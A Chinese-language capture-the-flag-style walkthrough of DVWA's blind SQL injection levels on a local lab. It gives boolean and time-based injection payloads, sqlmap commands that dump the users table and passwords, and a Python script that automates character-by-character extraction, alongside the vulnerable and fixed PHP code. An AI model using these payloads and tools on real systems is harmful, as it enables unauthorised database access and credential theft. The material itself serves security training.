DVWA SQL Injection Blind SQL盲注通关教程

漏洞简介

盲注,顾名思义就是”盲着注”。和普通注入不同,盲注拿不到数据库的回显,只能靠猜——通过页面不同的反应来判断猜得对不对。虽然麻烦,但能拿到数据就是好注入。

这关主要学布尔盲注和时间盲注。

盲注类型

类型 说明
布尔盲注 看页面返回判断条件真假
时间盲注 看响应时间判断条件真假
报错盲注 从报错信息里提取数据

常用函数

先记几个盲注常用的函数:

函数 说明
length(str) 字符串长度
substr(str,start,length) 截取字符串
ascii(str) 字符转 ASCII 码
if(condition,a,b) 条件判断
sleep(n) 延迟 n 秒

Low 级别

看代码:

1
2
3
4
5
6
7
8
9
$id = $_GET[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );

if( mysqli_num_rows( $result ) > 0 ) {
// 用户存在
} else {
// 用户不存在
}

有注入点,但只告诉你”存在”或”不存在”,典型的布尔盲注场景。

手动盲注

第一步:确认注入

1
2
1' and 1=1#    -> 用户存在
1' and 1=2# -> 用户不存在

确认有盲注。

第二步:猜数据库名长度

1
2
3
4
1' and length(database())=1#   不存在
1' and length(database())=2# 不存在
...
1' and length(database())=4# 存在

数据库名 4 个字符。

第三步:逐字符猜

用二分法猜第一个字符的 ASCII 码:

1
2
3
4
1' and ascii(substr(database(),1,1))>97#    存在
1' and ascii(substr(database(),1,1))>100# 存在
1' and ascii(substr(database(),1,1))>120# 不存在
1' and ascii(substr(database(),1,1))=100# 存在

ASCII 码 100,就是字母 d

继续猜后面几个:

1
2
3
1' and ascii(substr(database(),2,1))=118#   -> v
1' and ascii(substr(database(),3,1))=119# -> w
1' and ascii(substr(database(),4,1))=97# -> a

数据库名是 dvwa

手动盲注是真累,猜一个名字就要发几十个请求。实际渗透还是用工具吧。

用 SQLMap

SQLMap 一条命令搞定:

1
sqlmap -u "http://localhost:3892/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=m0rsgl5arvatrm36nuq4ngdim6;security=low" --dbs

upload successful

查表:

1
sqlmap -u "http://localhost:3892/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=m0rsgl5arvatrm36nuq4ngdim6;security=low" -D dvwa --tables

upload successful

查字段:

1
sqlmap -u "http://localhost:3892/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=m0rsgl5arvatrm36nuq4ngdim6;security=low" -D dvwa -T users --columns

upload successful

拖数据:

1
sqlmap -u "http://localhost:3892/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=m0rsgl5arvatrm36nuq4ngdim6;security=low" -D dvwa -T users -C user,password --dump

upload successful

这就是工具的力量。

Medium 级别

Medium 级别用了 POST 提交加转义:

1
2
3
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

注意 $id 没引号,是数字型注入,单引号转义没用。

攻击方法

用 Burp 抓包改请求,或者直接用 SQLMap:

1
sqlmap -u "http://localhost:3892/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=m0rsgl5arvatrm36nuq4ngdim6;security=medium" --dbs

High 级别

High 级别从 session 取参数,还加了 LIMIT 1

1
2
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

布尔盲注可能被 LIMIT 1 干扰,换时间盲注。

时间盲注

测试:

1
1' and sleep(5)#

如果响应卡了 5 秒,就说明有注入。

猜数据库名长度:

1
1' and if(length(database())=4,sleep(3),0)#

延迟 3 秒,长度是 4。

逐字符猜:

1
1' and if(ascii(substr(database(),1,1))=100,sleep(3),0)#

延迟 3 秒,第一个字符是 d

用 SQLMap:

1
sqlmap -u "http://localhost:3892/vulnerabilities/sqli_blind/" --cookie="PHPSESSID=m0rsgl5arvatrm36nuq4ngdim6;security=high" --level=3 --risk=2 --dbs

Impossible 级别

Impossible 级别用 PDO 预处理:

1
2
3
4
5
6
$id = $_GET[ 'id' ];
if( is_numeric( $id ) ) {
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
}

预处理 + 类型验证,注入不了。

自动化盲注脚本

写个 Python 脚本省得手工猜:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = "http://localhost:3892/vulnerabilities/sqli_blind/"
cookies = {"PHPSESSID": "m0rsgl5arvatrm36nuq4ngdim6", "security": "low"}

result = ""
for i in range(1, 50):
low = 32
high = 127
while low < high:
mid = (low + high) // 2
payload = f"1' and ascii(substr(database(),{i},1))>{mid}#"
params = {"id": payload, "Submit": "Submit"}
r = requests.get(url, params=params, cookies=cookies)
if "User ID exists" in r.text:
low = mid + 1
else:
high = mid
if low == 32:
break
result += chr(low)
print(f"Database name: {result}")

print(f"Final result: {result}")

小结

盲注虽然慢,但只要有注入点就能拿数据。防护要点和普通 SQL 注入一样:

  1. 用预处理语句
  2. 输入要验证
  3. 错误信息统一处理,别让人看出来区别
  4. 能用工具就别手工